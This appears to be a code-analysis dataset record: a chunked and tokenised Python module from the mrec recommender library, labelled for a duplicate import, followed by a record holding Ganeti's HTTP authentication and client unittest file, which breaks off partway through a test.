[ { "content": "import math\nimport glob\nimport re\nimport os\nimport subprocess\nfrom shutil import rmtree\nimport logging\n\nfrom mrec import load_sparse_matrix, save_recommender\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def process(task):\n \"\"\"\n Training task to run on an ipython engine.\n \"\"\"\n\n # import modules required by engine\n import os\n import subprocess\n from mrec import load_fast_sparse_matrix\n\n model,input_format,trainfile,outdir,start,end,max_similar_items = task\n\n # initialise the model\n dataset = load_fast_sparse_matrix(input_format,trainfile)\n if hasattr(model,'similarity_matrix'):\n # clear out any existing similarity matrix to trigger recomputation of\n # the item-item similarities from the users' ratings.\n model.similarity_matrix = None\n\n # write sims directly to file as we compute them\n outfile = os.path.join(outdir,'sims.{0}-{1}.tsv'.format(start,end))\n out = open(outfile,'w')\n for j in xrange(start,end):\n w = model.get_similar_items(j,max_similar_items=max_similar_items,dataset=dataset)\n for k,v in w:\n print >>out,'{0}\\t{1}\\t{2}'.format(j+1,k+1,v) # write as 1-indexed\n out.close()\n\n # record success\n cmd = ['touch',os.path.join(outdir,'{0}-{1}.SUCCESS'.format(start,end))]\n subprocess.check_call(cmd)\n\n # return the range that we've processed\n return start,end", "metadata": "root.process", "header": "['module', '___EOS___']", "index": 87 } ]
[ { "span": "import os", "start_line": 93, "start_column": 4, "end_line": 93, "end_column": 13 }, { "span": "import subprocess", "start_line": 94, "start_column": 4, "end_line": 94, "end_column": 21 } ]
[ { "span": "import os", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 9 }, { "span": "import subprocess", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 17 } ]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "more_", "than_", "once_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "shutil_", "import_", "rmtree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "mre", "c_", "import_", "load", "\\u", "spars", "e\\u", "matrix_", ",_", "save", "\\u", "recommende", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process_", "(_", "task_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Train", "ing", " ", "task", " ", "to", " ", "run", " ", "on", " ", "an", " ", "ipython", " ", "eng", "ine", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "import", " ", "module", "s", " ", "require", "d", " ", "by", " ", "engine_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mre", "c_", "import_", "load", "\\u", "fast", "\\u", "spars", "e\\u", "matrix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "model_", ",_", "input", "\\u", "format_", ",_", "train", "file_", ",_", "outdir_", ",_", "start_", ",_", "end_", ",_", "max", "\\u", "similar", "\\u", "items_", "=_", "task_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "initialise", " ", "the", " ", "model_", "\\u\\u\\uNL\\u\\u\\u_", "dataset_", "=_", "load", "\\u", "fast", "\\u", "spars", "e\\u", "matrix_", "(_", "input", "\\u", "format_", ",_", "train", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "model_", ",_", "'", "similar", "it", "y", "\\u", "matrix", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "clear", " ", "out", " ", "any", " ", "exist", "ing", " ", "similar", "it", "y", " ", "matrix", " ", "to", " ", "trigger", " ", "recom", "put", "ation", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "item", "-", "item", " ", "similar", "iti", "es", " ", "from", " ", "the", " ", "users", "'", " ", "rati", "ngs", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "._", "similar", "it", "y", "\\u", "matrix_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "write", " ", "sims", " ", "direct", "ly", " ", "to", " ", "file", " ", "as", " ", "we", " ", "compute", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "outfile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "outdir_", ",_", "'", "sims", ".", "{", "0", "}-", "{", "1", "}.", "tsv", "'_", "._", "format_", "(_", "start_", ",_", "end_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "open_", "(_", "outfile_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", "in_", "xrange_", "(_", "start_", ",_", "end_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "w_", "=_", "model_", "._", "get", "\\u", "similar", "\\u", "items_", "(_", "j_", ",_", "max", "\\u", "similar", "\\u", "items_", "=_", "max", "\\u", "similar", "\\u", "items_", ",_", "dataset_", "=_", "dataset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "w_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", ">>_", "out_", ",_", "'{", "0", "}\\\\", "t", "{", "1", "}\\\\", "t", "{", "2", "}'_", "._", "format_", "(_", "j_", "+_", "1_", ",_", "k_", "+_", "1_", ",_", "v_", ")_", "#", " ", "write", " ", "as", " ", "1", "-", "indexed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "out_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "record", " ", "success_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "[_", "'", "touch", "'_", ",_", "os_", "._", "path_", "._", "join_", "(_", "outdir_", ",_", "'{", "0", "}-", "{", "1", "}.", "SUCCESS", "'_", "._", "format_", "(_", "start_", ",_", "end_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ganeti/ganeti/test/py/ganeti.http_unittest.py
[ { "content": "#!/usr/bin/python\n#\n\n# Copyright (C) 2007, 2008 Google Inc.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\n\"\"\"Script for unittesting the http module\"\"\"\n\n\nimport os\nimport unittest\nimport time\nimport tempfile\nimport pycurl\nimport itertools\nimport threading\nfrom cStringIO import StringIO\n\nfrom ganeti import http\nfrom ganeti import compat\nfrom ganeti.rapi.auth import users_file\n\nimport ganeti.http.server\nimport ganeti.http.client\nimport ganeti.http.auth\n\nimport testutils\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n testutils.GanetiTestProgram()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestStartLines(unittest.TestCase):\n \"\"\"Test cases for start line classes\"\"\"\n\n", "metadata": "root.TestStartLines", "header": "['module', '___EOS___']", "index": 53 }, { "content": " def testClientToServerStartLine(self):\n \"\"\"Test client to server start line (HTTP request)\"\"\"\n start_line = http.HttpClientToServerStartLine(\"GET\", \"/\", \"HTTP/1.1\")\n self.assertEqual(str(start_line), \"GET / HTTP/1.1\")", "metadata": "root.TestStartLines.testClientToServerStartLine", "header": "['class', 'TestStartLines', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 56 }, { "content": " def testServerToClientStartLine(self):\n \"\"\"Test server to client start line (HTTP response)\"\"\"\n start_line = http.HttpServerToClientStartLine(\"HTTP/1.1\", 200, \"OK\")\n self.assertEqual(str(start_line), \"HTTP/1.1 200 OK\")", "metadata": "root.TestStartLines.testServerToClientStartLine", "header": "['class', 'TestStartLines', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 61 }, { "content": "class TestMisc(unittest.TestCase):\n \"\"\"Miscellaneous tests\"\"\"\n\n\n\n\n", "metadata": "root.TestMisc", "header": "['module', '___EOS___']", "index": 67 }, { "content": " def _TestDateTimeHeader(self, gmnow, expected):\n self.assertEqual(http.server._DateTimeHeader(gmnow=gmnow), expected)", "metadata": "root.TestMisc._TestDateTimeHeader", "header": "['class', 'TestMisc', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 70 }, { "content": " def testDateTimeHeader(self):\n \"\"\"Test ganeti.http._DateTimeHeader\"\"\"\n self._TestDateTimeHeader((2008, 1, 2, 3, 4, 5, 3, 0, 0),\n \"Thu, 02 Jan 2008 03:04:05 GMT\")\n self._TestDateTimeHeader((2008, 1, 1, 0, 0, 0, 0, 0, 0),\n \"Mon, 01 Jan 2008 00:00:00 GMT\")\n self._TestDateTimeHeader((2008, 12, 31, 0, 0, 0, 0, 0, 0),\n \"Mon, 31 Dec 2008 00:00:00 GMT\")\n self._TestDateTimeHeader((2008, 12, 31, 23, 59, 59, 0, 0, 0),\n \"Mon, 31 Dec 2008 23:59:59 GMT\")\n self._TestDateTimeHeader((2008, 12, 31, 0, 0, 0, 6, 0, 0),\n \"Sun, 31 Dec 2008 00:00:00 GMT\")", "metadata": "root.TestMisc.testDateTimeHeader", "header": "['class', 'TestMisc', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 73 }, { "content": " def testHttpServerRequest(self):\n \"\"\"Test ganeti.http.server._HttpServerRequest\"\"\"\n server_request = http.server._HttpServerRequest(\"GET\", \"/\", None, None)\n\n # These are expected by users of the HTTP server\n self.assert_(hasattr(server_request, \"request_method\"))\n self.assert_(hasattr(server_request, \"request_path\"))\n self.assert_(hasattr(server_request, \"request_headers\"))\n self.assert_(hasattr(server_request, \"request_body\"))\n self.assert_(isinstance(server_request.resp_headers, dict))\n self.assert_(hasattr(server_request, \"private\"))", "metadata": "root.TestMisc.testHttpServerRequest", "header": "['class', 'TestMisc', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 86 }, { "content": " def testServerSizeLimits(self):\n \"\"\"Test HTTP server size limits\"\"\"\n message_reader_class = http.server._HttpClientToServerMessageReader\n self.assert_(message_reader_class.START_LINE_LENGTH_MAX > 0)\n self.assert_(message_reader_class.HEADER_LENGTH_MAX > 0)", "metadata": "root.TestMisc.testServerSizeLimits", "header": "['class', 'TestMisc', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 98 }, { "content": " def testFormatAuthHeader(self):\n self.assertEqual(http.auth._FormatAuthHeader(\"Basic\", {}),\n \"Basic\")\n self.assertEqual(http.auth._FormatAuthHeader(\"Basic\", { \"foo\": \"bar\", }),\n \"Basic foo=bar\")\n self.assertEqual(http.auth._FormatAuthHeader(\"Basic\", { \"foo\": \"\", }),\n \"Basic foo=\\\"\\\"\")\n self.assertEqual(http.auth._FormatAuthHeader(\"Basic\", { \"foo\": \"x,y\", }),\n \"Basic foo=\\\"x,y\\\"\")\n params = {\n \"foo\": \"x,y\",\n \"realm\": \"secure\",\n }\n # It's a dict whose order isn't guaranteed, hence checking a list\n self.assert_(http.auth._FormatAuthHeader(\"Digest\", params) in\n (\"Digest foo=\\\"x,y\\\" realm=secure\",\n \"Digest realm=secure foo=\\\"x,y\\\"\"))", "metadata": "root.TestMisc.testFormatAuthHeader", "header": "['class', 'TestMisc', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 104 }, { "content": "class _FakeRequestAuth(http.auth.HttpServerRequestAuthentication):\n\n\n", "metadata": "root._FakeRequestAuth", "header": "['module', '___EOS___']", "index": 123 }, { "content": " def __init__(self, realm, authreq, authenticator):\n http.auth.HttpServerRequestAuthentication.__init__(self)\n\n self.realm = realm\n self.authreq = authreq\n self.authenticator = authenticator", "metadata": "root._FakeRequestAuth.__init__", "header": "['class', '_FakeRequestAuth', '(', 'http', '.', 'auth', '.', 'HttpServerRequestAuthentication', ')', ':', '___EOS___']", "index": 124 }, { "content": " def AuthenticationRequired(self, req):\n return self.authreq", "metadata": "root._FakeRequestAuth.AuthenticationRequired", "header": "['class', '_FakeRequestAuth', '(', 'http', '.', 'auth', '.', 'HttpServerRequestAuthentication', ')', ':', '___EOS___']", "index": 131 }, { "content": " def GetAuthRealm(self, req):\n return self.realm", "metadata": "root._FakeRequestAuth.GetAuthRealm", "header": "['class', '_FakeRequestAuth', '(', 'http', '.', 'auth', '.', 'HttpServerRequestAuthentication', ')', ':', '___EOS___']", "index": 134 }, { "content": " def Authenticate(self, req):\n handler_access = []\n if self.authenticator:\n return self.authenticator.ValidateRequest(\n req, handler_access, self.GetAuthRealm(req))\n raise NotImplementedError()", "metadata": "root._FakeRequestAuth.Authenticate", "header": "['class', '_FakeRequestAuth', '(', 'http', '.', 'auth', '.', 'HttpServerRequestAuthentication', ')', ':', '___EOS___']", "index": 137 }, { "content": "class TestAuth(unittest.TestCase):\n \"\"\"Authentication tests\"\"\"\n\n hsra = http.auth.HttpServerRequestAuthentication\n\n\n", "metadata": "root.TestAuth", "header": "['module', '___EOS___']", "index": 145 }, { "content": " def testConstants(self):\n for scheme in [self.hsra._CLEARTEXT_SCHEME, self.hsra._HA1_SCHEME]:\n self.assertEqual(scheme, scheme.upper())\n self.assert_(scheme.startswith(\"{\"))\n self.assert_(scheme.endswith(\"}\"))", "metadata": "root.TestAuth.testConstants", "header": "['class', 'TestAuth', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 150 }, { "content": " def _testVerifyBasicAuthPassword(self, realm, user, password, expected):\n ra = _FakeRequestAuth(realm, False, None)\n\n return ra.VerifyBasicAuthPassword(user, password, expected, realm)", "metadata": "root.TestAuth._testVerifyBasicAuthPassword", "header": "['class', 'TestAuth', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 156 }, { "content": " def testVerifyBasicAuthPassword(self):\n tvbap = self._testVerifyBasicAuthPassword\n\n good_pws = [\"pw\", \"pw{\", \"pw}\", \"pw{}\", \"pw{x}y\", \"}pw\",\n \"0\", \"123\", \"foo...:xyz\", \"TeST\"]\n\n for pw in good_pws:\n # Try cleartext passwords\n self.assert_(tvbap(\"abc\", \"user\", pw, pw))\n self.assert_(tvbap(\"abc\", \"user\", pw, \"{cleartext}\" + pw))\n self.assert_(tvbap(\"abc\", \"user\", pw, \"{ClearText}\" + pw))\n self.assert_(tvbap(\"abc\", \"user\", pw, \"{CLEARTEXT}\" + pw))\n\n # Try with invalid password\n self.failIf(tvbap(\"abc\", \"user\", pw, \"something\"))\n\n # Try with invalid scheme\n self.failIf(tvbap(\"abc\", \"user\", pw, \"{000}\" + pw))\n self.failIf(tvbap(\"abc\", \"user\", pw, \"{unk}\" + pw))\n self.failIf(tvbap(\"abc\", \"user\", pw, \"{Unk}\" + pw))\n self.failIf(tvbap(\"abc\", \"user\", pw, \"{UNK}\" + pw))\n\n # Try with invalid scheme format\n self.failIf(tvbap(\"abc\", \"user\", \"pw\", \"{something\"))\n\n # Hash is MD5(\"user:This is only a test:pw\")\n self.assert_(tvbap(\"This is only a test\", \"user\", \"pw\",\n \"{ha1}92ea58ae804481498c257b2f65561a17\"))\n self.assert_(tvbap(\"This is only a test\", \"user\", \"pw\",\n \"{HA1}92ea58ae804481498c257b2f65561a17\"))\n\n self.failUnlessRaises(AssertionError, tvbap, None, \"user\", \"pw\",\n \"{HA1}92ea58ae804481498c257b2f65561a17\")\n self.failIf(tvbap(\"Admin area\", \"user\", \"pw\",\n \"{HA1}92ea58ae804481498c257b2f65561a17\"))\n self.failIf(tvbap(\"This is only a test\", \"someone\", \"pw\",\n \"{HA1}92ea58ae804481498c257b2f65561a17\"))\n self.failIf(tvbap(\"This is only a test\", \"user\", \"something\",\n \"{HA1}92ea58ae804481498c257b2f65561a17\"))", "metadata": "root.TestAuth.testVerifyBasicAuthPassword", "header": "['class', 'TestAuth', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 161 }, { "content": "class _SimpleAuthenticator:\n", "metadata": "root._SimpleAuthenticator", "header": "['module', '___EOS___']", "index": 202 }, { "content": " def __init__(self, user, password):\n self.user = user\n self.password = password\n self.called = False", "metadata": "root._SimpleAuthenticator.__init__", "header": "['class', '_SimpleAuthenticator', ':', '___EOS___']", "index": 203 }, { "content": " def ValidateRequest(self, req, handler_access, realm):\n self.called = True\n\n username, password = http.auth.HttpServerRequestAuthentication \\\n .ExtractUserPassword(req)\n if username is None or password is None:\n return False\n\n return (self.user == username and\n http.auth.HttpServerRequestAuthentication.VerifyBasicAuthPassword(\n username, password, self.password, realm))", "metadata": "root._SimpleAuthenticator.ValidateRequest", "header": "['class', '_SimpleAuthenticator', ':', '___EOS___']", "index": 208 }, { "content": "class TestHttpServerRequestAuthentication(unittest.TestCase):\n\n\n\n\n\n\n\n", "metadata": "root.TestHttpServerRequestAuthentication", "header": "['module', '___EOS___']", "index": 221 }, { "content": " def testNoAuth(self):\n req = http.server._HttpServerRequest(\"GET\", \"/\", None, None)\n _FakeRequestAuth(\"area1\", False, None).PreHandleRequest(req)", "metadata": "root.TestHttpServerRequestAuthentication.testNoAuth", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 222 }, { "content": " def testNoRealm(self):\n headers = { http.HTTP_AUTHORIZATION: \"\", }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ac = _SimpleAuthenticator(\"foo\", \"bar\")\n ra = _FakeRequestAuth(None, False, ac)\n self.assertRaises(AssertionError, ra.PreHandleRequest, req)", "metadata": "root.TestHttpServerRequestAuthentication.testNoRealm", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 226 }, { "content": " def testNoScheme(self):\n headers = { http.HTTP_AUTHORIZATION: \"\", }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ac = _SimpleAuthenticator(\"foo\", \"bar\")\n ra = _FakeRequestAuth(\"area1\", False, ac)\n self.assertRaises(http.HttpUnauthorized, ra.PreHandleRequest, req)", "metadata": "root.TestHttpServerRequestAuthentication.testNoScheme", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 233 }, { "content": " def testUnknownScheme(self):\n headers = { http.HTTP_AUTHORIZATION: \"NewStyleAuth abc\", }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ac = _SimpleAuthenticator(\"foo\", \"bar\")\n ra = _FakeRequestAuth(\"area1\", False, ac)\n self.assertRaises(http.HttpUnauthorized, ra.PreHandleRequest, req)", "metadata": "root.TestHttpServerRequestAuthentication.testUnknownScheme", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 240 }, { "content": " def testInvalidBase64(self):\n headers = { http.HTTP_AUTHORIZATION: \"Basic x_=_\", }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ac = _SimpleAuthenticator(\"foo\", \"bar\")\n ra = _FakeRequestAuth(\"area1\", False, ac)\n self.assertRaises(http.HttpBadRequest, ra.PreHandleRequest, req)", "metadata": "root.TestHttpServerRequestAuthentication.testInvalidBase64", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 247 }, { "content": " def testAuthForPublicResource(self):\n headers = {\n http.HTTP_AUTHORIZATION: \"Basic %s\" % (\"foo\".encode(\"base64\").strip(), ),\n }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ra = _FakeRequestAuth(\"area1\", False, None)\n self.assertRaises(http.HttpUnauthorized, ra.PreHandleRequest, req)", "metadata": "root.TestHttpServerRequestAuthentication.testAuthForPublicResource", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 254 }, { "content": " def testAuthForPublicResource(self):\n headers = {\n http.HTTP_AUTHORIZATION:\n \"Basic %s\" % (\"foo:bar\".encode(\"base64\").strip(), ),\n }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ac = _SimpleAuthenticator(\"foo\", \"bar\")\n ra = _FakeRequestAuth(\"area1\", False, ac)\n ra.PreHandleRequest(req)\n\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ac = _SimpleAuthenticator(\"something\", \"else\")\n ra = _FakeRequestAuth(\"area1\", False, ac)\n self.assertRaises(http.HttpUnauthorized, ra.PreHandleRequest, req)", "metadata": "root.TestHttpServerRequestAuthentication.testAuthForPublicResource", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 262 }, { "content": " def testInvalidRequestHeader(self):\n checks = {\n http.HttpUnauthorized: [\"\", \"\\t\", \"-\", \".\", \"@\", \"<\", \">\", \"Digest\",\n \"basic %s\" % \"foobar\".encode(\"base64\").strip()],\n http.HttpBadRequest: [\"Basic\"],\n }\n\n ac = _SimpleAuthenticator(\"foo\", \"bar\")\n for exc, headers in checks.items():\n for i in headers:\n headers = { http.HTTP_AUTHORIZATION: i, }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n ra = _FakeRequestAuth(\"area1\", False, ac)\n self.assertRaises(exc, ra.PreHandleRequest, req)", "metadata": "root.TestHttpServerRequestAuthentication.testInvalidRequestHeader", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 277 }, { "content": " def testBasicAuth(self):\n for user in [\"\", \"joe\", \"user name with spaces\"]:\n for pw in [\"\", \"-\", \":\", \"foobar\", \"Foo Bar Baz\", \"@@@\", \"###\",\n \"foo:bar:baz\"]:\n for wrong_pw in [True, False]:\n basic_auth = \"%s:%s\" % (user, pw)\n if wrong_pw:\n basic_auth += \"WRONG\"\n headers = {\n http.HTTP_AUTHORIZATION:\n \"Basic %s\" % (basic_auth.encode(\"base64\").strip(), ),\n }\n req = http.server._HttpServerRequest(\"GET\", \"/\", headers, None)\n\n ac = _SimpleAuthenticator(user, pw)\n self.assertFalse(ac.called)\n ra = _FakeRequestAuth(\"area1\", True, ac)\n if wrong_pw:\n try:\n ra.PreHandleRequest(req)\n except http.HttpUnauthorized, err:\n www_auth = err.headers[http.HTTP_WWW_AUTHENTICATE]\n self.assert_(www_auth.startswith(http.auth.HTTP_BASIC_AUTH))\n else:\n self.fail(\"Didn't raise HttpUnauthorized\")\n else:\n ra.PreHandleRequest(req)\n self.assert_(ac.called)", "metadata": "root.TestHttpServerRequestAuthentication.testBasicAuth", "header": "['class', 'TestHttpServerRequestAuthentication', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 292 }, { "content": "class TestReadPasswordFile(unittest.TestCase):\n", "metadata": "root.TestReadPasswordFile", "header": "['module', '___EOS___']", "index": 322 }, { "content": " def testSimple(self):\n users = users_file.ParsePasswordFile(\"user1 password\")\n self.assertEqual(len(users), 1)\n self.assertEqual(users[\"user1\"].password, \"password\")\n self.assertEqual(len(users[\"user1\"].options), 0)", "metadata": "root.TestReadPasswordFile.testSimple", "header": "['class', 'TestReadPasswordFile', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 323 }, { "content": " def testOptions(self):\n buf = StringIO()\n buf.write(\"# Passwords\\n\")\n buf.write(\"user1 password\\n\")\n buf.write(\"\\n\")\n buf.write(\"# Comment\\n\")\n buf.write(\"user2 pw write,read\\n\")\n buf.write(\" \\t# Another comment\\n\")\n buf.write(\"invalidline\\n\")\n\n users = users_file.ParsePasswordFile(buf.getvalue())\n self.assertEqual(len(users), 2)\n self.assertEqual(users[\"user1\"].password, \"password\")\n self.assertEqual(len(users[\"user1\"].options), 0)\n\n self.assertEqual(users[\"user2\"].password, \"pw\")\n self.assertEqual(users[\"user2\"].options, [\"write\", \"read\"])", "metadata": "root.TestReadPasswordFile.testOptions", "header": "['class', 'TestReadPasswordFile', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 329 }, { "content": "class TestClientRequest(unittest.TestCase):\n\n\n\n\n\n\n\n", "metadata": "root.TestClientRequest", "header": "['module', '___EOS___']", "index": 348 }, { "content": " def testRepr(self):\n cr = http.client.HttpClientRequest(\"localhost\", 1234, \"GET\", \"/version\",\n headers=[], post_data=\"Hello World\")\n self.assert_(repr(cr).startswith(\"<\"))", "metadata": "root.TestClientRequest.testRepr", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 349 }, { "content": " def testNoHeaders(self):\n cr = http.client.HttpClientRequest(\"localhost\", 1234, \"GET\", \"/version\",\n headers=None)\n self.assert_(isinstance(cr.headers, list))\n self.assertEqual(cr.headers, [])\n self.assertEqual(cr.url, \"https://localhost:1234/version\")", "metadata": "root.TestClientRequest.testNoHeaders", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 354 }, { "content": " def testPlainAddressIPv4(self):\n cr = http.client.HttpClientRequest(\"192.0.2.9\", 19956, \"GET\", \"/version\")\n self.assertEqual(cr.url, \"https://192.0.2.9:19956/version\")", "metadata": "root.TestClientRequest.testPlainAddressIPv4", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 361 }, { "content": " def testPlainAddressIPv6(self):\n cr = http.client.HttpClientRequest(\"2001:db8::cafe\", 15110, \"GET\", \"/info\")\n self.assertEqual(cr.url, \"https://[2001:db8::cafe]:15110/info\")", 